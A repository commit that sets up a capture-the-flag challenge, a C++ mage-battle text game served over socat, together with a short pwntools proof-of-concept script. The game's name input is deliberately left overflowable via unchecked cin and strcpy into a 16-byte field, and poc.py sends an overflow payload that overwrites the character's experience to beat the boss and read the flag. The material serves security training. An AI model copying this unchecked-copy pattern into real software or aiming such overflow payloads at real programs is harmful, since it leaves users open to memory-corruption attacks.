Browse Source

initinial commit copied from spell-warz-again

master
myitinos 8 months ago
parent
commit
bfc68ce717
15 changed files with 989 additions and 0 deletions
  1. 13
    0
      Dockerfile
  2. 21
    0
      LICENSE
  3. 19
    0
      Makefile
  4. 1
    0
      flag.txt
  5. 108
    0
      lib/BattleInterface.cpp
  6. 35
    0
      lib/BattleInterface.hpp
  7. 216
    0
      lib/Character.cpp
  8. 59
    0
      lib/Character.hpp
  9. 42
    0
      lib/Spell.cpp
  10. 28
    0
      lib/Spell.hpp
  11. 226
    0
      lib/UserInterface.cpp
  12. 53
    0
      lib/UserInterface.hpp
  13. 150
    0
      main.cpp
  14. 18
    0
      poc.py
  15. BIN
      spell-warz-again

+ 13
- 0
Dockerfile View File

@@ -0,0 +1,13 @@
1
+FROM ubuntu:latest
2
+
3
+RUN apt update && \
4
+    apt install socat -y
5
+
6
+WORKDIR /app
7
+
8
+COPY ./flag.txt .
9
+COPY ./spell-warz-again .
10
+
11
+CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\"
12
+
13
+EXPOSE 12345/tcp

+ 21
- 0
LICENSE View File

@@ -0,0 +1,21 @@
1
+MIT License
2
+
3
+Copyright (c) <year> <copyright holders>
4
+
5
+Permission is hereby granted, free of charge, to any person obtaining a copy
6
+of this software and associated documentation files (the "Software"), to deal
7
+in the Software without restriction, including without limitation the rights
8
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+copies of the Software, and to permit persons to whom the Software is furnished
10
+to do so, subject to the following conditions:
11
+
12
+The above copyright notice and this permission notice (including the next
13
+paragraph) shall be included in all copies or substantial portions of the
14
+Software.
15
+
16
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
18
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
19
+OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
20
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
21
+OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

+ 19
- 0
Makefile View File

@@ -0,0 +1,19 @@
1
+UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp
2
+	g++ -c lib/UserInterface.cpp -o UserInterface.o
3
+
4
+BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp
5
+	g++ -c lib/BattleInterface.cpp -o BattleInterface.o
6
+
7
+Spell.o: lib/Spell.cpp lib/Spell.hpp
8
+	g++ -c lib/Spell.cpp -o Spell.o
9
+
10
+Character.o: lib/Character.cpp lib/Character.hpp
11
+	g++ -c lib/Character.cpp -o Character.o
12
+
13
+spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp
14
+	g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o
15
+
16
+clean: all
17
+	rm Spell.o Character.o UserInterface.o BattleInterface.o
18
+
19
+all: spell-warz-again

+ 1
- 0
flag.txt View File

@@ -0,0 +1 @@
1
+slashroot{dummy}

+ 108
- 0
lib/BattleInterface.cpp View File

@@ -0,0 +1,108 @@
1
+#include "BattleInterface.hpp"
2
+
3
+const int BattleInterface::maxTurn = 100;
4
+
5
+BattleInterface::BattleInterface()
6
+{
7
+    this->turn = -1;
8
+    this->player1 = nullptr;
9
+    this->player2 = nullptr;
10
+    this->winner = nullptr;
11
+    this->loser = nullptr;
12
+}
13
+
14
+BattleInterface::BattleInterface(Character *p1, Character *p2)
15
+{
16
+    this->turn = 1;
17
+    this->player1 = p1;
18
+    this->player2 = p2;
19
+    this->winner = nullptr;
20
+    this->loser = nullptr;
21
+}
22
+
23
+void BattleInterface::battleStartAnnounce()
24
+{
25
+    std::cout << " === BATTLE START === \n"
26
+              << "  " << player1->getName() << "\n"
27
+              << "          vs  \n"
28
+              << "  " << player2->getName() << "\n"
29
+              << " === ============ === \n"
30
+              << std::flush;
31
+}
32
+
33
+void BattleInterface::battleEndAnnouce()
34
+{
35
+    std::cout << " === BATTLE END === \n"
36
+              << "winner: " << this->winner->getName() << "\n"
37
+              << std::flush;
38
+}
39
+
40
+Character *BattleInterface::getLoser()
41
+{
42
+    return this->loser;
43
+}
44
+
45
+Character *BattleInterface::getWinner()
46
+{
47
+    return this->winner;
48
+}
49
+
50
+void BattleInterface::start()
51
+{
52
+    int choiceInt;
53
+    char buff[64] = {0};
54
+
55
+    this->battleStartAnnounce();
56
+    while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn)
57
+    {
58
+        std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n"
59
+                  << "Your spell book:\n";
60
+        for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++)
61
+        {
62
+            std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n";
63
+        }
64
+        std::cout << std::flush;
65
+
66
+        choiceInt = UserInterface::getNumber(
67
+            "What are you gonna cast this turn?\n>", 0,
68
+            player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel());
69
+
70
+        if (player1->canCastSpell(&Spell::Book.at(choiceInt)))
71
+        {
72
+            player1->castSpell(&Spell::Book.at(choiceInt), player2);
73
+            snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str());
74
+            UserInterface::print(buff);
75
+            memset(buff, 0, 64);
76
+            snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount());
77
+            UserInterface::print(buff);
78
+            memset(buff, 0, 64);
79
+        }
80
+        else
81
+        {
82
+            snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str());
83
+            UserInterface::print(buff);
84
+        }
85
+
86
+        choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size()));
87
+        if (player2->canCastSpell(&Spell::Book.at(choiceInt)))
88
+        {
89
+            player2->castSpell(&Spell::Book.at(choiceInt), player1);
90
+            snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str());
91
+            UserInterface::print(buff);
92
+            memset(buff, 0, 64);
93
+            snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount());
94
+            UserInterface::print(buff);
95
+            memset(buff, 0, 64);
96
+        }
97
+        else
98
+        {
99
+            snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str());
100
+            UserInterface::print(buff);
101
+        }
102
+        this->turn++;
103
+    }
104
+
105
+    winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2;
106
+    loser = (winner == player1) ? player2 : player1;
107
+    this->battleEndAnnouce();
108
+}

+ 35
- 0
lib/BattleInterface.hpp View File

@@ -0,0 +1,35 @@
1
+#ifndef SPELL_WARZ_BATTLEINTERFACE_HPP
2
+#define SPELL_WARZ_BATTLEINTERFACE_HPP 1
3
+
4
+#include <iostream>
5
+#include <thread>
6
+#include <chrono>
7
+
8
+#include "Character.hpp"
9
+#include "Spell.hpp"
10
+#include "UserInterface.hpp"
11
+
12
+class BattleInterface
13
+{
14
+protected:
15
+    static const int maxTurn;
16
+    int turn;
17
+
18
+    Character *player1;
19
+    Character *player2;
20
+    Character *winner;
21
+    Character *loser;
22
+
23
+    void battleStartAnnounce();
24
+    void battleEndAnnouce();
25
+    void clearBuff();
26
+public:
27
+    BattleInterface();
28
+    BattleInterface(Character *p1, Character *p2);
29
+    
30
+    void start();
31
+    Character *getWinner();
32
+    Character *getLoser();
33
+};
34
+
35
+#endif

+ 216
- 0
lib/Character.cpp View File

@@ -0,0 +1,216 @@
1
+#include "Character.hpp"
2
+#include <cstring>
3
+const int Character::maxLevel = 0xffff;
4
+const int Character::maxExperience = 0x0fffffff;
5
+Character::Character()
6
+{
7
+    this->level = 1;
8
+    this->experience = 0;
9
+    this->maxHP = 10;
10
+    this->curHP = maxHP;
11
+    this->maxMP = 5;
12
+    this->curMP = maxMP;
13
+    this->atk = 1;
14
+    this->def = 1;
15
+    memset(this->name, 0, 16);
16
+}
17
+
18
+Character::Character(char *n) : Character::Character()
19
+{
20
+    strcpy(this->name, n);
21
+    this->name[15] = 0;
22
+}
23
+
24
+Character::Character(const char *n) : Character::Character()
25
+{
26
+    strcpy(this->name, n);
27
+    this->name[15] = 0;
28
+}
29
+
30
+Character::Character(char *n, int l, int e, int h, int m, int a, int d)
31
+{
32
+    strcpy(this->name, n);
33
+    this->name[15] = 0;
34
+    this->level = l;
35
+    this->experience = e;
36
+    this->maxHP = h;
37
+    this->curHP = maxHP;
38
+    this->maxMP = m;
39
+    this->curMP = maxMP;
40
+    this->atk = a;
41
+    this->def = d;
42
+}
43
+
44
+Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
45
+{
46
+    strcpy(this->name, n);
47
+    this->name[15] = 0;
48
+    this->level = l;
49
+    this->experience = e;
50
+    this->maxHP = h;
51
+    this->curHP = maxHP;
52
+    this->maxMP = m;
53
+    this->curMP = maxMP;
54
+    this->atk = a;
55
+    this->def = d;
56
+}
57
+
58
+char *Character::getName()
59
+{
60
+    return this->name;
61
+}
62
+
63
+int Character::getLevel()
64
+{
65
+    if (this->level > Character::maxLevel)
66
+    {
67
+        exit(-1);
68
+    }
69
+    return this->level;
70
+}
71
+
72
+int Character::getExperience()
73
+{
74
+    if (this->experience > Character::maxExperience)
75
+    {
76
+        exit(-1);
77
+    }
78
+    return this->experience;
79
+}
80
+
81
+int Character::getMaxHP()
82
+{
83
+    return this->maxHP;
84
+}
85
+
86
+int Character::getCurHP()
87
+{
88
+    if (this->curHP > this->maxHP)
89
+    {
90
+        exit(-1);
91
+    }
92
+    return this->curHP;
93
+}
94
+
95
+int Character::getMaxMP()
96
+{
97
+    return this->maxMP;
98
+}
99
+
100
+int Character::getCurMP()
101
+{
102
+    if (this->curMP > this->maxMP)
103
+    {
104
+        exit(-1);
105
+    }
106
+    return this->curMP;
107
+}
108
+
109
+int Character::getAtk()
110
+{
111
+    return this->atk;
112
+}
113
+
114
+int Character::getDef()
115
+{
116
+    return this->def;
117
+}
118
+
119
+void Character::levelUp()
120
+{
121
+    if ((this->level <= maxLevel) && this->readytoLevelUp())
122
+    {
123
+        this->experience -= this->toNextLevel();
124
+        this->level++;
125
+        this->maxHP += 10;
126
+        this->maxMP += 5;
127
+        this->curHP = this->maxHP;
128
+        this->curMP = this->maxMP;
129
+    }
130
+}
131
+
132
+void Character::restoreHP(int n)
133
+{
134
+    this->curHP += n;
135
+    if (this->curHP > this->maxHP)
136
+    {
137
+        this->curHP = this->maxHP;
138
+    }
139
+}
140
+
141
+void Character::restoreMP(int n)
142
+{
143
+    this->curMP += n;
144
+    if (this->curMP > this->maxMP)
145
+    {
146
+        this->curMP = this->maxMP;
147
+    }
148
+}
149
+
150
+void Character::reduceHP(int n)
151
+{
152
+    this->curHP -= n;
153
+}
154
+
155
+void Character::reduceMP(int n)
156
+{
157
+    this->curMP -= n;
158
+}
159
+
160
+bool Character::isAlive()
161
+{
162
+    return this->curHP > 0;
163
+}
164
+
165
+int Character::toNextLevel()
166
+{
167
+    return (this->level + 1) * (this->level + 1);
168
+}
169
+
170
+bool Character::readytoLevelUp()
171
+{
172
+    return (this->toNextLevel() <= this->experience);
173
+}
174
+
175
+void Character::increaseExperience(int n)
176
+{
177
+    this->experience += n;
178
+    if (this->experience > maxExperience)
179
+    {
180
+        this->experience = maxExperience;
181
+    }
182
+    while (this->readytoLevelUp())
183
+    {
184
+        this->levelUp();
185
+    }
186
+}
187
+
188
+bool Character::canCastSpell(Spell *s)
189
+{
190
+    return this->curMP >= s->getCost();
191
+}
192
+
193
+void Character::castSpell(Spell *s, Character *t)
194
+{
195
+    this->reduceMP(s->getCost());
196
+    t->reduceHP(s->getAmount());
197
+}
198
+
199
+void Character::rest()
200
+{
201
+    this->curHP = this->maxHP;
202
+    this->curMP = this->maxMP;
203
+}
204
+
205
+void Character::kill()
206
+{
207
+    this->curHP = 0;
208
+}
209
+
210
+void Character::revive()
211
+{
212
+    if (this->curHP <= 0)
213
+    {
214
+        this->curHP = 1;
215
+    }
216
+}

+ 59
- 0
lib/Character.hpp View File

@@ -0,0 +1,59 @@
1
+#ifndef SPELL_WARZ_CHARACTER_HPP
2
+#define SPELL_WARZ_CHARACTER_HPP 1
3
+
4
+#include <vector>
5
+
6
+#include "Spell.hpp"
7
+
8
+class Character
9
+{
10
+protected:
11
+    static const int maxLevel;
12
+    static const int maxExperience;
13
+    char name[16];
14
+
15
+    int experience;
16
+    int level;
17
+    int atk;
18
+    int def;
19
+    int curHP;
20
+    int curMP;
21
+    int maxHP;
22
+    int maxMP;
23
+
24
+    void restoreHP(int);
25
+    void restoreMP(int);
26
+    void reduceHP(int);
27
+    void reduceMP(int);
28
+
29
+public:
30
+    Character();
31
+    Character(char *name);
32
+    Character(const char *name);
33
+    Character(char *name, int level, int exp, int hp, int mp, int atk, int def);
34
+    Character(const char *name, int level, int exp, int hp, int mp, int atk, int def);
35
+
36
+    void castSpell(Spell *src, Character *dst);
37
+    bool canCastSpell(Spell *src);
38
+
39
+    char *getName();
40
+    int getLevel();
41
+    int getExperience();
42
+    int getMaxHP();
43
+    int getCurHP();
44
+    int getMaxMP();
45
+    int getCurMP();
46
+    int getAtk();
47
+    int getDef();
48
+    int toNextLevel();
49
+
50
+    bool readytoLevelUp();
51
+    bool isAlive();
52
+    void levelUp();
53
+    void kill();
54
+    void rest();
55
+    void revive();
56
+    void increaseExperience(int n);
57
+};
58
+
59
+#endif

+ 42
- 0
lib/Spell.cpp View File

@@ -0,0 +1,42 @@
1
+#include "Spell.hpp"
2
+
3
+Spell::Spell(std::string n, int t, int a, int c)
4
+{
5
+    this->name = std::string(n);
6
+    this->type = t;
7
+    this->amount = a;
8
+    this->cost = c;
9
+}
10
+
11
+int Spell::getType()
12
+{
13
+    return this->type;
14
+}
15
+
16
+int Spell::getAmount()
17
+{
18
+    return this->amount;
19
+}
20
+
21
+int Spell::getCost()
22
+{
23
+    return this->cost;
24
+}
25
+
26
+std::string Spell::getName()
27
+{
28
+    return this->name;
29
+}
30
+
31
+std::vector<Spell> Spell::Book = {
32
+    Spell("Napalm Beat", 1, 4, 1),
33
+    Spell("Fire Ball", 1, 6, 2),
34
+    Spell("Cold Bolt", 1, 8, 3),
35
+    Spell("Stone curse", 1, 10, 4),
36
+    Spell("Lightning Bolt", 1, 12, 5),
37
+    Spell("Soul Strike", 1, 14, 6),
38
+    Spell("Fire Wall", 1, 16, 7),
39
+    Spell("Frost Diver", 1, 18, 8),
40
+    Spell("Lighting Storm", 1, 20, 9),
41
+    Spell("Asura's Strike", 1, 50, 10),
42
+};

+ 28
- 0
lib/Spell.hpp View File

@@ -0,0 +1,28 @@
1
+#ifndef SPELL_WARZ_SPELL_CPP
2
+#define SPELL_WARZ_SPELL_CPP 1
3
+
4
+#include <vector>
5
+#include <string>
6
+
7
+class Spell
8
+{
9
+protected:
10
+    std::string name;
11
+
12
+    int type;
13
+    int amount;
14
+    int cost;
15
+
16
+public:
17
+    int TYPE_RESTORATION = 0;
18
+    int TYPE_DESTRUCTION = 1;
19
+    static std::vector<Spell> Book;
20
+
21
+    Spell(std::string, int, int, int);
22
+    int getType();
23
+    int getAmount();
24
+    int getCost();
25
+    std::string getName();
26
+};
27
+
28
+#endif

+ 226
- 0
lib/UserInterface.cpp View File

@@ -0,0 +1,226 @@
1
+#include "UserInterface.hpp"
2
+
3
+const int UserInterface::interval = 500;     // in ms
4
+const int UserInterface::miniInterval = 50; // in ms
5
+const int UserInterface::maxDay = 28;
6
+const int UserInterface::maxMonth = 12;
7
+const int UserInterface::maxYear = 100;
8
+
9
+int UserInterface::day = 1;
10
+int UserInterface::month = 1;
11
+int UserInterface::year = 90;
12
+
13
+bool UserInterface::gameOver = false;
14
+
15
+std::vector<std::string> UserInterface::dayName = {
16
+    "Morndas",
17
+    "Tirdas",
18
+    "Middas",
19
+    "Turdas",
20
+    "Fredas",
21
+    "Loredas",
22
+    "Sundas",
23
+};
24
+
25
+std::vector<std::string> UserInterface::monthName = {
26
+    "Morning Star",
27
+    "Sun's Dawn",
28
+    "First Seed",
29
+    "Rain's Hand",
30
+    "Second Seed",
31
+    "Mid Year",
32
+    "Sun's Height",
33
+    "Last Seed",
34
+    "Hearthfire",
35
+    "Frostfall",
36
+    "Sun's Dusk",
37
+    "Evening Star",
38
+};
39
+
40
+void UserInterface::print(std::string msg)
41
+{
42
+    std::cout << msg << std::flush;
43
+    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
44
+}
45
+
46
+void UserInterface::print(char *msg)
47
+{
48
+    std::cout << msg << std::flush;
49
+    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
50
+}
51
+void UserInterface::print(const char *msg)
52
+{
53
+    std::cout << msg << std::flush;
54
+    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
55
+}
56
+
57
+void UserInterface::printByChar(const char *msg)
58
+{
59
+    int len = strlen(msg);
60
+    for (size_t i = 0; i < len; i++)
61
+    {
62
+        std::cout << msg[i] << std::flush;
63
+        std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval));
64
+    }
65
+}
66
+
67
+void UserInterface::welcomeMessage()
68
+{
69
+    std::cout << "+++++++++++++++++++++++++++++++++++\n"
70
+              << "+ Welcome to Spell-Warz-Again !!! +\n"
71
+              << "+++++++++++++++++++++++++++++++++++\n"
72
+              << std::flush;
73
+}
74
+
75
+Character *UserInterface::characterCreation()
76
+{
77
+    char buffer[128] = {0};
78
+    char choice = 0;
79
+    int i;
80
+    short b;
81
+    while (choice != 'y' && choice != 'Y')
82
+    {
83
+        std::cout << "Who should we call you?\n"
84
+                  << ">" << std::flush;
85
+
86
+        std::cin >> buffer;
87
+
88
+        std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n"
89
+                  << ">";
90
+        std::cin >> choice;
91
+    }
92
+    return new Character(buffer);
93
+}
94
+
95
+void UserInterface::epilogue()
96
+{
97
+    UserInterface::printByChar(
98
+        "You are just a young mage in a mage school,\n"
99
+        "When you witnessed your arch-mage got defeated by your senior...\n"
100
+        "He was mumbling about some flag inside a scroll,\n"
101
+        "he also mentioned something about a competition called CTF...\n"
102
+        "You thought to yourself: \"What the f*ck is a CTF?\"\n"
103
+        "Nevertheless, you want that scroll, you want that flag!\n"
104
+        "Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n"
105
+        "Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n");
106
+}
107
+
108
+std::string UserInterface::dateString()
109
+{
110
+    char date[5] = {0};
111
+
112
+    if (UserInterface::day < 21)
113
+    {
114
+        switch (UserInterface::day)
115
+        {
116
+        case 1:
117
+            sprintf(date, "1st");
118
+            break;
119
+        case 2:
120
+            sprintf(date, "2nd");
121
+            break;
122
+        case 3:
123
+            sprintf(date, "3rd");
124
+            break;
125
+        default:
126
+            sprintf(date, "%dth", UserInterface::day);
127
+            break;
128
+        }
129
+    }
130
+    else
131
+    {
132
+        switch (UserInterface::day % 10)
133
+        {
134
+        case 1:
135
+            sprintf(date, "%dst", UserInterface::day);
136
+            break;
137
+        case 2:
138
+            sprintf(date, "%dnd", UserInterface::day);
139
+            break;
140
+        case 3:
141
+            sprintf(date, "%drd", UserInterface::day);
142
+            break;
143
+        default:
144
+            sprintf(date, "%dth", UserInterface::day);
145
+            break;
146
+        }
147
+    }
148
+
149
+    return std::string(
150
+        UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " +
151
+        date + " of " + UserInterface::monthName.at(UserInterface::month - 1) +
152
+        ", Year " + std::to_string(UserInterface::year));
153
+}
154
+
155
+void UserInterface::menu()
156
+{
157
+    std::cout << "=======================================\n"
158
+              << UserInterface::dateString() << "\n"
159
+              << "=======================================\n"
160
+              << "Available action:\n"
161
+              << "[1] Take a rest\n"
162
+              << "[2] Practice magic\n"
163
+              << "[3] Spar against classmate\n"
164
+              << "[4] Challenge the new Arch-Mage\n"
165
+              << "[5] Gather info about the new Arch-Mage\n"
166
+              << "[6] Meditate to your inner-self\n"
167
+              << "[0] Commit sudoku\n"
168
+              << std::flush;
169
+}
170
+
171
+void UserInterface::enemiesInfo(std::vector<Character *> &enemies)
172
+{
173
+    for (int i = 0; i < enemies.size(); i++)
174
+    {
175
+        std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n";
176
+    }
177
+    std::cout << std::flush;
178
+}
179
+
180
+int UserInterface::getNumber(std::string msg, int min, int max)
181
+{
182
+    int buffer = max + 1;
183
+    do
184
+    {
185
+        std::cout << msg << std::flush;
186
+        if (std::cin.failbit || std::cin.eofbit)
187
+        {
188
+            std::cin.clear();
189
+            std::cin.ignore(1);
190
+        }
191
+    } while (std::cin >> buffer && !(buffer <= max && buffer >= min));
192
+    return buffer;
193
+}
194
+
195
+void UserInterface::nextDay()
196
+{
197
+    if (UserInterface::day++ >= UserInterface::maxDay)
198
+    {
199
+        day = 1;
200
+        if (UserInterface::month++ >= UserInterface::maxMonth)
201
+        {
202
+            month = 1;
203
+            if (UserInterface::year++ >= UserInterface::maxYear)
204
+            {
205
+                UserInterface::gameOver = true;
206
+            }
207
+        }
208
+    }
209
+}
210
+
211
+bool UserInterface::isGameOver()
212
+{
213
+    return gameOver;
214
+}
215
+
216
+void UserInterface::characterInfo(Character *c)
217
+{
218
+    std::cout << "++++++++++++++++++++++++"
219
+              << "\nName: " << c->getName()
220
+              << "\n  HP: " << c->getCurHP() << "/" << c->getMaxHP()
221
+              << "\n  MP: " << c->getCurMP() << "/" << c->getMaxMP()
222
+              << "\n  Lv: " << c->getLevel()
223
+              << "\n  Xp: " << c->getExperience()
224
+              << "\n  next: " << c->toNextLevel()
225
+              << "\n++++++++++++++++++++++++" << std::endl;
226
+}

+ 53
- 0
lib/UserInterface.hpp View File

@@ -0,0 +1,53 @@
1
+#ifndef SPELL_WARZ_USER_INTERFACE_HPP
2
+#define SPELL_WARZ_USER_INTERFACE_HPP 1
3
+
4
+#include <iostream>
5
+#include <thread>
6
+#include <chrono>
7
+#include <string>
8
+#include <cstring>
9
+
10
+#include "Character.hpp"
11
+#include "Spell.hpp"
12
+
13
+class UserInterface
14
+{
15
+protected:
16
+    static const int interval;     // in ms
17
+    static const int miniInterval; // in ms
18
+    static const int maxDay;
19
+    static const int maxMonth;
20
+    static const int maxYear;
21
+
22
+    static std::vector<std::string> dayName;
23
+    static std::vector<std::string> monthName;
24
+
25
+    static int day;
26
+    static int month;
27
+    static int year;
28
+
29
+    static bool gameOver;
30
+
31
+public:
32
+    static void print(std::string);
33
+    static void print(const char *);
34
+    static void print(char *);
35
+    static void printByChar(std::string);
36
+    static void printByChar(const char *);
37
+    static void printByChar(char *);
38
+
39
+    static void welcomeMessage();
40
+    static void epilogue();
41
+    static void menu();
42
+    static void nextDay();
43
+    static void characterInfo(Character *);
44
+    static void enemiesInfo(std::vector<Character *> &);
45
+
46
+    static std::string dateString();
47
+    static int getNumber(std::string, int, int);
48
+    static Character *characterCreation();
49
+
50
+    static bool isGameOver();
51
+};
52
+
53
+#endif

+ 150
- 0
main.cpp View File

@@ -0,0 +1,150 @@
1
+
2
+#include <iostream>
3
+#include <fstream>
4
+#include <thread>
5
+#include <chrono>
6
+#include <random>
7
+#include <fstream>
8
+#include <unistd.h>
9
+
10
+#include "lib/Character.hpp"
11
+#include "lib/Spell.hpp"
12
+#include "lib/UserInterface.hpp"
13
+#include "lib/BattleInterface.hpp"
14
+
15
+std::string loadFlag()
16
+{
17
+    std::string flagString;
18
+    std::ifstream flagFile("flag.txt");
19
+    flagFile >> flagString;
20
+    flagFile.close();
21
+    return flagString;
22
+}
23
+
24
+int main()
25
+{
26
+    std::string flag;
27
+    Character *player;
28
+    Character *archMage;
29
+    Character *enemy;
30
+    BattleInterface battle;
31
+    std::vector<Character *> enemies;
32
+
33
+    flag = loadFlag();
34
+    srand(time(0));
35
+    alarm(600);
36
+
37
+    UserInterface::welcomeMessage();
38
+    UserInterface::epilogue();
39
+    player = UserInterface::characterCreation();
40
+    archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1);
41
+    enemies = {
42
+        new Character("Abby", 1, 1, 10, 5, 1, 1),
43
+        new Character("John", 2, 3, 20, 10, 1, 1),
44
+        new Character("Adam", 3, 7, 40, 25, 1, 1),
45
+        new Character("Christo", 4, 11, 80, 40, 1, 1),
46
+        new Character("Greg", 5, 16, 160, 80, 1, 1),
47
+    };
48
+
49
+    while (player->isAlive() && !UserInterface::isGameOver())
50
+    {
51
+        int choiceInt = -1;
52
+        char choiceChar = -1;
53
+        UserInterface::menu();
54
+        choiceInt = UserInterface::getNumber(
55
+            "What are you gonna do today?\n>",
56
+            0, 6);
57
+        switch (choiceInt)
58
+        {
59
+        case 0:
60
+            UserInterface::print("You commit sudoku...\n");
61
+            UserInterface::print("Was it supposed to be seppuku?\n");
62
+            UserInterface::print("Nevermind, you killed yourself.\n");
63
+            player->kill();
64
+            break;
65
+        case 1:
66
+            UserInterface::print("You spend the whole day sleeping...\n");
67
+            UserInterface::print("HP and MP restored.\n");
68
+            player->rest();
69
+            break;
70
+        case 2:
71
+            UserInterface::print("You practice your magic in the yard...\n");
72
+            UserInterface::print("You gained some experience.\n");
73
+            player->increaseExperience((random() % player->getLevel()) + 1);
74
+            break;
75
+        case 3:
76
+            UserInterface::print("List of your classmates:\n");
77
+            UserInterface::enemiesInfo(enemies);
78
+            choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size());
79
+            UserInterface::print("You are going to spar with:\n");
80
+            UserInterface::characterInfo(enemies.at(choiceInt));
81
+            UserInterface::print("Are you sure? (y/N)\n>");
82
+            std::cin >> choiceChar;
83
+            if (choiceChar == 'y' || choiceChar == 'Y')
84
+            {
85
+                enemy = new Character(*enemies.at(choiceInt));
86
+                battle = BattleInterface(player, enemy);
87
+                battle.start();
88
+                if (battle.getWinner() == player)
89
+                {
90
+                    UserInterface::print("You win, you get more experience...\n");
91
+                    player->increaseExperience(enemies.at(choiceInt)->getLevel());
92
+                }
93
+                else
94
+                {
95
+                    UserInterface::print("You lose, but you still get some experience...\n");
96
+                    player->revive();
97
+                    player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2);
98
+                }
99
+                delete enemy;
100
+            }
101
+            else
102
+            {
103
+                UserInterface::print("On second thought, you decide to sleep in your room instead...\n");
104
+                player->rest();
105
+            }
106
+
107
+            break;
108
+        case 4:
109
+            UserInterface::print("You are going to challenge the Arch-Mage...\n");
110
+            UserInterface::print("Are you sure? (y/N)\n>");
111
+            std::cin >> choiceChar;
112
+            if (choiceChar == 'y' || choiceChar == 'Y')
113
+            {
114
+                battle = BattleInterface(player, archMage);
115
+                battle.start();
116
+                if (battle.getWinner() == player)
117
+                {
118
+                    UserInterface::print("You win, you get more experience...\n");
119
+                    player->increaseExperience(enemies.at(choiceInt)->getLevel());
120
+                    UserInterface::print("You win against the Arch-Mage!\n");
121
+                    UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n");
122
+                    UserInterface::print("Turns out the content is just some meaningless word...\n");
123
+                    UserInterface::print("Here is the content:\n");
124
+                    UserInterface::print(flag + "\n");
125
+                }
126
+                else
127
+                {
128
+                    UserInterface::print("You lose...\n");
129
+                    UserInterface::print("Sadly his spell was to powerful,\n");
130
+                    UserInterface::print("You got killed by the arch-mage...\n");
131
+                }
132
+            }
133
+            else
134
+            {
135
+                UserInterface::print("On second thought, you decide to sleep in your room instead...\n");
136
+                player->rest();
137
+            }
138
+            break;
139
+        case 5:
140
+            UserInterface::print("You found some info about the arch-mage:\n");
141
+            UserInterface::characterInfo(archMage);
142
+            break;
143
+        case 6:
144
+            UserInterface::print("You meditate and got some insight to your ability:\n");
145
+            UserInterface::characterInfo(player);
146
+            break;
147
+        }
148
+        UserInterface::nextDay();
149
+    }
150
+}

+ 18
- 0
poc.py View File

@@ -0,0 +1,18 @@
1
+from pwn import *
2
+
3
+if __name__ == "__main__":
4
+    p = process("./main")
5
+    print p.recvuntil(">")
6
+    p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
7
+    print p.recvuntil(">")
8
+    p.sendline("y")
9
+    print p.recvuntil(">")
10
+    p.sendline("2")
11
+    print p.recvuntil(">")
12
+    p.sendline("4")
13
+    print p.recvuntil(">")
14
+    p.sendline("y")
15
+    for i in xrange(99):
16
+        print p.recvuntil(">")
17
+        p.sendline("9")
18
+    p.interactive()

BIN
spell-warz-again View File


Loading…
Cancel
Save